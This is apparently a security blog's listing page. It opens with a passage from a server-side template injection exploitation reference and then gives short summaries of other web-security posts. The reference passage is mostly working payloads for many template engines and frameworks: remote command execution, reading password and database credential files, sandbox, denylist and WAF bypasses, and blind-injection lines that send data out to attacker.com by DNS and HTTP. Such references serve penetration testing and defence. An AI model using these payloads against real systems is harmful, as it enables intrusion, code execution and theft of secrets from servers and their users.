fos=freemarker.template.utility.ObjectConstructor("java.io.FileOutputStream","/tmp/test")> File manipulation ?lower_abc Filter Bypass ${(6?lower_abc+18?lower_abc+...)?new()(9?lower_abc+4?lower_abc)} Reconstruct β€œfreemarker.template.utility.Execute” char-by-char to bypass keyword blocklists CamelContext Sandbox Escape <#assign cr=camelContext.getClassResolver()><#assign i=camelContext.getInjector()><#assign se=i.newInstance(cr.resolveClass('javax.script.ScriptEngineManager'))>${se.getEngineByName("js").eval("...")} RCE even with ClassResolver sandbox enabled (Apache Camel) CamelContext Language $camelContext.resolveLanguage("groovy").createExpression(<PAYLOAD>).evaluate(exchange, Object.class) Groovy expression via Camel context Alfresco Sandbox Bypass Exploit exposed objects in FreeMarker templates to bypass restrictions (CVE-2023-49964, incomplete fix for CVE-2020-12873) RCE in Alfresco CMS Handlebars (Node.js) Exploitation Technique Payload Description Prototype Pollution + AST Injection Pollute Object.prototype.type = 'Program' and Object.prototype.body with crafted AST containing RCE in NumberLiteral value Bypass parser validation, inject code directly into compiler Constructor Chain `{​{#with β€œs” as string toString Override + bind() Override Object.prototype.toString via defineProperty, use bind() to create function returning attacker payload, then invoke via Function constructor Full RCE without scope-defined functions (Shopify Return Magic) pendingContent Detection Pollute Object.prototype.pendingContent with test string Detect Handlebars engine in black-box with prototype pollution Pug (Node.js) Exploitation Technique Payload Description AST Injection via block Pollute Object.prototype.block = {"type":"Text","val":"<script>alert(origin)</script>"} XSS/content injection via prototype pollution Code Injection via line Pollute Object.prototype.block.type = "Code" with body containing RCE payload Command execution via AST manipulation Thymeleaf (Java) Exploitation THYMELEAF ATTACK PATTERNS: β”œβ”€β”€ Expression Preprocessing Double-Eval β”‚ β”œβ”€β”€ __${path}__ preprocesses user input, result evaluated as expression β”‚ β”œβ”€β”€ URL path injection: http://target/(${T(java.lang.Runtime).getRuntime().exec('calc')}) β”‚ └── Works on Jetty (allows {} in path), blocked on Tomcat (URL-encodes {}) β”œβ”€β”€ Spring Boot 3.3.4 Denylist Bypass (modzero research) β”‚ β”œβ”€β”€ Thymeleaf blocks T() for static class access and org.springframework.util.ReflectionUtils β”‚ β”œβ”€β”€ Bypass via org.apache.commons.lang3.reflect.MethodUtils (not on denylist) β”‚ β”œβ”€β”€ "".class.forName("org.apache.commons.lang3.reflect.MethodUtils") β”‚ β”‚ .invokeMethod( β”‚ β”‚ "".class.forName("org.apache.commons.lang3.reflect.MethodUtils") β”‚ β”‚ .invokeStaticMethod("".class.forName("java.lang.Runtime"),"getRuntime"), β”‚ β”‚ "exec", "whoami") β”‚ └── Full payload reads command output via IOUtils + file write for non-blind RCE β”œβ”€β”€ CVE-2023-38286 (Spring Boot Admin) β”‚ β”œβ”€β”€ Bypass Thymeleaf blacklists via ReflectionUtils (older versions) β”‚ β”œβ”€β”€ th:with chaining: findMethod β†’ invokeMethod β†’ exec β”‚ └── Requires MailNotifier enabled + write access to env vars └── CVE-2022-46166 (Spring Boot Admin) └── RCE via variable coverage in notification templates Velocity (Java) Exploitation Technique Payload Description CamelContext RCE ${camelContext.class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("...")} RCE via JavaScript engine in Apache Camel Template Override Send CamelVelocityTemplate header to override default template Dynamic template injection via message headers Resource URI Override Send CamelVelocityResourceUri header pointing to file:///etc/passwd Arbitrary file disclosure MVEL (Java) Exploitation Technique Payload Description Direct RCE @{java.lang.Runtime.getRuntime().exec('id')} Direct runtime access ObjectFactory RCE @{com.sun.org.apache.xerces.internal.utils.ObjectFactory.newInstance("javax.script.ScriptEngineManager",null,false).getEngineByName('js').eval("...")} Via ScriptEngine Template Override Send CamelMvelTemplate header Apache Camel dynamic template Go Template Exploitation GO SSTI ATTACK PATTERNS: β”œβ”€β”€ Detection β”‚ └── {​{ . }} β€” prints memory address/object dump of passed struct β”œβ”€β”€ Data Leakage β”‚ β”œβ”€β”€ {​{ .Email }} / {​{ .Password }} β€” access struct fields β”‚ └── Leaks any exported field on the passed object β”œβ”€β”€ Method Invocation β”‚ β”œβ”€β”€ {​{ .MethodName "arg" }} β€” call exported methods on passed struct β”‚ └── Methods must be exported (capitalized) to be callable β”œβ”€β”€ Gin Framework Gadgets β”‚ └── {​{ .Writer.WriteString "<script>alert(1)</script>" }} β€” XSS via response writer β”œβ”€β”€ Echo Framework Gadgets β”‚ β”œβ”€β”€ {​{ .File "/etc/passwd" }} β€” arbitrary file read β”‚ β”œβ”€β”€ {​{ .Attachment "/etc/passwd" "passwd" }} β€” file read via attachment β”‚ β”œβ”€β”€ {​{ .Inline "/etc/passwd" "passwd" }} β€” file read inline β”‚ └── {​{ $x:=.Echo.Filesystem.Open "/etc/hostname" }} {​{ $x.Seek 1 0 }} {​{ .Stream 200 "text/plain" $x }} β€” file read with I/O control β”œβ”€β”€ Fiber Framework Gadgets β”‚ β”œβ”€β”€ {​{ .App.Shutdown }} β€” denial of service β”‚ └── {​{ .Response.SendFile "/etc/hostname" }} {​{ .Response.Body }} β€” file read via fasthttp.Response β”œβ”€β”€ Method Confusion (OnSecurity Research) β”‚ β”œβ”€β”€ If passed object type matches a method's receiver, call with custom params β”‚ β”œβ”€β”€ echo.Context.File("path") gadget for arbitrary file read β”‚ └── Gadget hunting: search imported modules for exported methods with dangerous behavior └── text/template vs html/template β”œβ”€β”€ text/template allows direct "call" for public functions β€” higher risk └── html/template restricts call β€” requires gadget chains Jelly (ServiceNow) Exploitation Technique Payload Description Template Injection Probe <g:evaluate>gs.addErrorMessage(668.5*2);</g:evaluate> Confirm injection via math result (1337) in error message DB Credential Theft Inject <g:evaluate> to read glide.db.properties via SecurelyAccess + getBufferedReader() Extract database connection strings Chained Exploitation CVE-2024-4879 (title injection) + CVE-2024-5217 (mitigation bypass) + CVE-2024-5178 (file filter bypass) Full RCE chain on ServiceNow Style Tag Bypass Embed Jelly tags inside <style> element in jvar_page_title parameter Bypass basic input validation 4. Framework-Specific Attacks Spring Framework (Java) Context Payload Impact Spring EL ${T(java.lang.Runtime).getRuntime().exec('id')} RCE SpEL Injection #{T(java.lang.System).getProperty('user.name')} Information disclosure Request Context ${@requestMappingHandlerMapping.getApplicationContext().getEnvironment().getProperty('java.version')} Environment access Thymeleaf Double-Eval '+${7*7}+' in Referer header with __${Referer}__ preprocessing RCE via preprocessing (modzero) MethodUtils Bypass "".class.forName("org.apache.commons.lang3.reflect.MethodUtils").invokeStaticMethod(...) Bypass Thymeleaf denylist in Spring Boot 3.3.4+ WebAsyncManager Header Exfil Access #ctx.getVariable("...WebAsyncManager...") to read request headers and write response Non-blind RCE without outbound connections Django (Python) DJANGO TEMPLATE ATTACKS: β”œβ”€β”€ Debug Information β”‚ β”œβ”€β”€ {​{settings.SECRET_KEY}} β”‚ β”œβ”€β”€ {​{settings.DATABASES}} β”‚ └── {​{settings.DEBUG}} β”œβ”€β”€ Object Traversal β”‚ β”œβ”€β”€ {​{request.META}} β”‚ β”œβ”€β”€ {​{request.user}} β”‚ └── {​{request.session}} └── Filter Abuse β”œβ”€β”€ Custom filters with dangerous functions └── Template tag injection Laravel (PHP) Attack Type Payload Result Blade RCE @php(system('id')) @endphp Command execution Variable Access {​{$app->make('config')->get('database.default')}} Configuration disclosure Helper Function {​{app('Illuminate\Contracts\Console\Kernel')->call('route:list')}} Application introspection Apache Camel (Java) APACHE CAMEL SSTI (CVE-2020-11994): β”œβ”€β”€ Affected Components β”‚ β”œβ”€β”€ camel-freemarker (CamelFreemarkerTemplate header) β”‚ β”œβ”€β”€ camel-velocity (CamelVelocityTemplate header) β”‚ β”œβ”€β”€ camel-mvel (CamelMvelTemplate header) β”‚ └── camel-mustache (MustacheResourceUri header β€” file disclosure only) β”œβ”€β”€ Attack Pattern β”‚ β”œβ”€β”€ Override default template via message header injection β”‚ β”œβ”€β”€ Header source depends on consumer: JMS properties, HTTP headers, etc. β”‚ └── ResourceUri headers enable arbitrary file disclosure (file:///etc/passwd) β”œβ”€β”€ Sandbox Bypass β”‚ β”œβ”€β”€ camelContext object exposed in template context β”‚ β”œβ”€β”€ getInjector() + getClassResolver() β†’ instantiate arbitrary classes β”‚ └── resolveLanguage("groovy") β†’ evaluate arbitrary Groovy expressions └── Impact └── RCE + Arbitrary File Disclosure across all template components Grav CMS (PHP/Twig) Attack Type Payload Result setEscaper Abuse {​{ grav.twig.twig.extensions.core.setEscaper('system','twig_array_filter') }} then {​{ ['id'] | escape('system', 'system') }} RCE by redefining escape filter to system() Root Cause Twig sandbox not enabled; unrestricted access to extension classes via template context Arbitrary callable registration 5. Payload Development Payload Construction Strategy PAYLOAD DEVELOPMENT PROCESS: β”œβ”€β”€ Environment Discovery β”‚ β”œβ”€β”€ Available classes/modules β”‚ β”œβ”€β”€ Security restrictions β”‚ └── Execution context β”œβ”€β”€ Bypass Development β”‚ β”œβ”€β”€ Filter evasion β”‚ β”œβ”€β”€ Character restrictions β”‚ └── Length limitations β”œβ”€β”€ Payload Optimization β”‚ β”œβ”€β”€ Minimize detection β”‚ β”œβ”€β”€ Maximize impact β”‚ └── Ensure reliability └── Multi-Stage Delivery β”œβ”€β”€ Store payload in persistent objects (Jinja2 config object) β”œβ”€β”€ Retrieve and execute across separate requests └── Useful when injection point has size limits (email fields) Common Payload Patterns Goal Python/Jinja2 PHP/Twig Java/FreeMarker Node.js/Handlebars Go List Classes {​{''.__class__.__mro__[1].__subclasses__()}} {​{dump()}} <#list .data_model?keys as key>${key}</#list> {​{this}} {​{ . }} Execute Command {​{cycler.__init__.__globals__.os.popen('id').read()}} {​{_self.env.registerUndefinedFilterCallback("system")}} <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} Prototype pollution + AST injection N/A (gadget-dependent) Read File {​{get_flashed_messages.__globals__['current_app'].open_resource('../../../etc/passwd').read()}} {​{include('/etc/passwd')}} <#assign file=...ObjectConstructor("java.io.File","/etc/passwd")> N/A {​{ .File "/etc/passwd" }} (Echo) Size-Limited Payload Technique (Jinja2) MULTI-REQUEST PAYLOAD STAGING: 1. Store payload in config object via short injection: {​{config.update(a=request.args.get('a'))}} with URL parameter: ?a=<long RCE payload> 2. Verify storage: {​{config.a}} 3. Execute stored payload: {​{''.__class__.__mro__[1].__subclasses__()...__globals__['os'].popen(config.a).read()}} Use case: SSTI in email fields with RFC-imposed size limits 6. Advanced Exploitation Blind SSTI Exploitation Detection Method Payload Verification Time-based {​{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['time'].sleep(5)}} Response delay DNS Exfiltration {​{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['os'].popen('nslookup whoami.attacker.com').read()}} DNS logs HTTP Callback {​{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['urllib'].request.urlopen('http://attacker.com/'+config.SECRET_KEY)}} HTTP logs Sandbox Escape Techniques SANDBOX BYPASS METHODS: β”œβ”€β”€ Python/Jinja2 β”‚ β”œβ”€β”€ __builtins__ access via globals β”‚ β”œβ”€β”€ Class traversal to dangerous modules β”‚ β”œβ”€β”€ Import statement reconstruction β”‚ └── Warning subclass β†’ __builtins__['__import__'] chain β”œβ”€β”€ Java/FreeMarker β”‚ β”œβ”€β”€ ObjectConstructor for arbitrary class instantiation β”‚ β”œβ”€β”€ Static method calls via ?new() β”‚ β”œβ”€β”€ Reflection API abuse β”‚ β”œβ”€β”€ CamelContext.getInjector() + getClassResolver() (Apache Camel) β”‚ └── ScriptEngineManager for Groovy/JavaScript eval β”œβ”€β”€ Java/Thymeleaf β”‚ β”œβ”€β”€ Expression preprocessing (__...__) double-evaluation β”‚ β”œβ”€β”€ org.apache.commons.lang3.reflect.MethodUtils (bypass Spring Boot 3.3.4 denylist) β”‚ β”œβ”€β”€ "".class.forName() to load arbitrary classes β”‚ └── ReflectionUtils (older versions, now denylisted) β”œβ”€β”€ PHP/Twig β”‚ β”œβ”€β”€ Filter/function registration β”‚ β”œβ”€β”€ Object property access β”‚ β”œβ”€β”€ Include/eval function calls β”‚ └── setEscaper() to redefine escape function as system() (Grav CMS) └── Node.js/Handlebars β”œβ”€β”€ AST Injection via prototype pollution (bypass parser entirely) β”œβ”€β”€ Function constructor via this.constructor.constructor β”œβ”€β”€ Object.prototype.toString override + bind() for RCE └── Built-in helper abuse (with, blockHelperMissing) Prototype Pollution to SSTI (Node.js) PROTOTYPE POLLUTION β†’ SSTI CHAIN: β”œβ”€β”€ Handlebars β”‚ β”œβ”€β”€ Pollute Object.prototype.type = "Program" β”‚ β”œβ”€β”€ Pollute Object.prototype.body with AST containing RCE in NumberLiteral.value β”‚ β”œβ”€β”€ Template string bypasses parser (treated as pre-parsed AST) β”‚ └── Compiler executes injected code directly β”œβ”€β”€ Pug β”‚ β”œβ”€β”€ Pollute Object.prototype.block with {type:"Text", val:"<payload>"} β”‚ β”œβ”€β”€ When ast.type is "While", walkAST follows ast.block (uses prototype) β”‚ └── High reliability: any template referencing arguments triggers it └── Detection β”œβ”€β”€ Handlebars: Object.prototype.pendingContent = "<test>" β†’ appears in output └── Pug: Object.prototype.block = {type:"Text", val:"<test>"} β†’ appears in output 7. Bypass Techniques Filter Evasion Restriction Bypass Technique Example Keyword Blacklist String concatenation {​{'sy'+'stem'}} Character Filtering Unicode/Encoding {​{'\u0073\u0079\u0073\u0074\u0065\u006d'}} Length Limits Shortened payloads {​{lipsum.__globals__}} Quotes Blocked String methods {​{request.args.cmd|system}} Keyword Blacklist (FreeMarker) ?lower_abc encoding 6?lower_abc = β€œf”, reconstruct class names char-by-char Attribute Name Filtering Hex-encoded attr() |attr('\x5f\x5fclass\x5f\x5f') instead of .__class__ Size Limit Config object staging Store payload in config.a via one request, execute in another Thymeleaf Static Class Block commons-lang3 MethodUtils Use "".class.forName(...) to load non-denylisted reflection class ServiceNow Mitigation Style tag wrapper + Jelly xmlns Embed <g:evaluate> inside <style> tags WAF Bypass Strategies WAF EVASION TECHNIQUES: β”œβ”€β”€ Encoding Variations β”‚ β”œβ”€β”€ URL encoding (%7B%7B) β”‚ β”œβ”€β”€ Unicode encoding (\u007B\u007B) β”‚ └── HTML entity encoding (&lbrace;&lbrace;) β”œβ”€β”€ Structure Manipulation β”‚ β”œβ”€β”€ Whitespace insertion {​{ 7*7 }} β”‚ β”œβ”€β”€ Comment insertion {# comment #} β”‚ └── Nested expressions {​{7*{​{7}}}} β”œβ”€β”€ Payload Fragmentation β”‚ β”œβ”€β”€ Multi-step injection β”‚ β”œβ”€β”€ Context-dependent payloads β”‚ └── Request splitting β”œβ”€β”€ FreeMarker-Specific β”‚ β”œβ”€β”€ ?lower_abc / ?upper_abc character reconstruction β”‚ β”œβ”€β”€ 1.1?c[1] to generate dot character β”‚ └── Numeric built-in abuse to construct arbitrary strings └── Thymeleaf-Specific β”œβ”€β”€ Preprocessor double-evaluation via __${...}__ β”œβ”€β”€ @{} link expression parentheses to clear context └── Server-specific: Jetty allows {} in URL path, Tomcat blocks Thymeleaf sandbox bypass via tab character (CVE-2026-40478) CVSS 9.1, found by pentester Dawid Bakaj. Thymeleaf’s security sandbox β€” the thing that limits what SpEL expressions can do when they evaluate dynamic content β€” was bypassed using a tab character. Two defenses failed independently: a whitespace issue in the keyword check, and a narrow blocklist. The checks disagreed with the parser about what counts as a separator. Patched in 3.1.4. ...

April 10, 2026 Β· Updated September 12, 2026 Β· 18 min Β· Carl Sampson

Comprehensive Session Management Security Guide

Comprehensive Session Management Security Guide πŸ†• Updated September 12, 2026 β€” added the four conditions for CSRF and why cookie flags, not tokens, decide your session threat model. A practitioner’s reference for session management security β€” session attacks, cookie security, token vulnerabilities, exploitation techniques, and defense strategies. Covers traditional and modern session management from web applications to APIs. πŸ”₯ Latest Update: May 2, 2026 - Enhanced with 2026 critical session CVEs including CVE-2026-5707 (AWS RES Root RCE), CVE-2025-55315 (ASP.NET Core), CVE-2025-24813 (Apache Tomcat) covering cloud and enterprise session vulnerabilities. ...

May 2, 2026 Β· Updated September 12, 2026 Β· 6 min Β· Carl Sampson

Comprehensive Business Logic Flaws Guide

πŸ†• Updated September 12, 2026 β€” added the Discuz! X5.0 chain: cross-context token reuse into a race condition into pre-auth RCE, and why a CAPTCHA in front of a race is a cost, not a boundary. Comprehensive Business Logic Flaws Guide A practitioner’s reference for business logic vulnerabilities β€” workflow bypass, race conditions, payment logic flaws, privilege escalation chains, and application context attacks. Includes 27 CVEs disclosed through 2026. πŸ†• Newly Created: May 2, 2026 - Complete new guide built from 339 automated insights covering workflow bypass, race conditions, payment logic, and attack chains with 27 critical CVEs from comprehensive security research analysis. ...

May 2, 2026 Β· Updated September 12, 2026 Β· 9 min Β· Carl Sampson

The OWASP LLM Top 10: A Practitioner's Field Guide

I’ve spent the last couple of years watching teams bolt an LLM onto a product and then look genuinely surprised when it does something dumb, dangerous, or both. The pattern is always the same. Ship first, wonder about security later. So when OWASP put together a Top 10 specifically for LLM applications, I was relieved. Finally there’s a shared vocabulary I can point at during a review instead of explaining prompt injection from scratch for the hundredth time. ...

July 5, 2026 Β· 12 min Β· Carl Sampson

Don't Trust JWT Headers: Algorithm Confusion Attacks Explained

I keep encountering this JWT vulnerability in Python codebases, and it’s particularly concerning because it’s so easily overlooked. Developers implement what appears to be proper JWT authenticationβ€”they validate signatures, check expiration, handle all the edge cases. But there’s one subtle mistake that can completely undermine the entire security model. The issue is trusting the JWT’s own header to determine how to verify it. This is similar to asking someone to specify which method you should use to verify their identity. ...

May 27, 2026 Β· 7 min Β· Carl Sampson

OWASP A01: Broken Access Control Prevention Guide

I’ve been hunting access control bugs for over a decade, and let me tell you - they’re everywhere. When OWASP moved broken access control to #1 in 2025 and merged SSRF into this category, I wasn’t surprised. I was relieved that the security community finally caught up to what I’ve been seeing in the wild. 94% of applications tested have broken access control issues. That’s not a typo - it’s a security apocalypse hiding in plain sight. ...

May 6, 2026 Β· 18 min Β· Carl Sampson

OWASP Top 10 2025 Developer Guide

I’ve been working with the OWASP Top 10 for years, and the 2025 update just dropped some major changes that every developer needs to understand. Supply chain attacks finally made it into the top 10 (as A03), and honestly, it’s about time. I’ve been seeing these attacks destroy companies for the past few years. Here’s the thing about OWASP Top 10 2025: it’s not just updating the old list - it’s completely rethinking modern threats. Security misconfiguration jumped from #5 to #2, and they merged SSRF into broken access control because that’s how attackers actually chain these vulnerabilities together. ...

May 5, 2026 Β· 15 min Β· Carl Sampson

Python SSRF Prevention Guide [2026]

I’ve been hunting SSRF bugs in Python applications for over five years, and the number of vulnerable codebases I encounter is honestly terrifying. Flask apps with requests.get(user_input) scattered everywhere. Django views that blindly fetch URLs from form data. FastAPI endpoints that turn your server into an attacker’s proxy. The worst part? Most developers don’t realize they’re building SSRF vulnerabilities until it’s too late. By then, attackers have already stolen your AWS credentials or mapped your entire internal network. ...

May 1, 2026 Β· 15 min Β· Carl Sampson

CSRF vs SSRF: Developer Guide [2026]

CSRF and SSRF sound like they’re related - they both have β€œrequest forgery” in the name, after all. But they’re completely different beasts that’ll bite you in completely different ways. I’ve spent way too many nights debugging both of these vulnerabilities, and the confusion between them has cost teams serious security incidents. Let me break down exactly what each one does and how to stop them before they wreck your app. ...

May 1, 2026 Β· 8 min Β· Carl Sampson

Understanding HTTP Request Smuggling Attacks

HTTP Request Smuggling (HRS) is a powerful web application vulnerability that exploits discrepancies in how different servers or intermediaries parse and handle HTTP requests. This misalignment can allow an attacker to β€œsmuggle” a malicious request through a front-end server (such as a load balancer, proxy, or CDN) so that it is interpreted differently by the back-end server. How HTTP Request Smuggling Works Modern web applications often rely on chains of intermediaries β€” proxies, reverse proxies, CDNs, and application servers. These components must all agree on where one HTTP request ends and the next begins. If they disagree, attackers can craft specially malformed requests that cause desynchronization. ...

September 6, 2025 Β· 3 min Β· Carl Sampson

Content Security Policy Complete Guide [2026]

Content Security Policy (CSP) is a browser security mechanism that controls which resources a web page is allowed to load. By declaring a policy via HTTP header, you tell the browser exactly which scripts, styles, images, fonts, and connections are permitted. Anything not explicitly allowed is blocked. CSP is one of the most effective defenses against Cross-Site Scripting (XSS) and data injection attacks. How CSP Works CSP is delivered as an HTTP response header: ...

February 23, 2023 Β· 8 min Β· Carl Sampson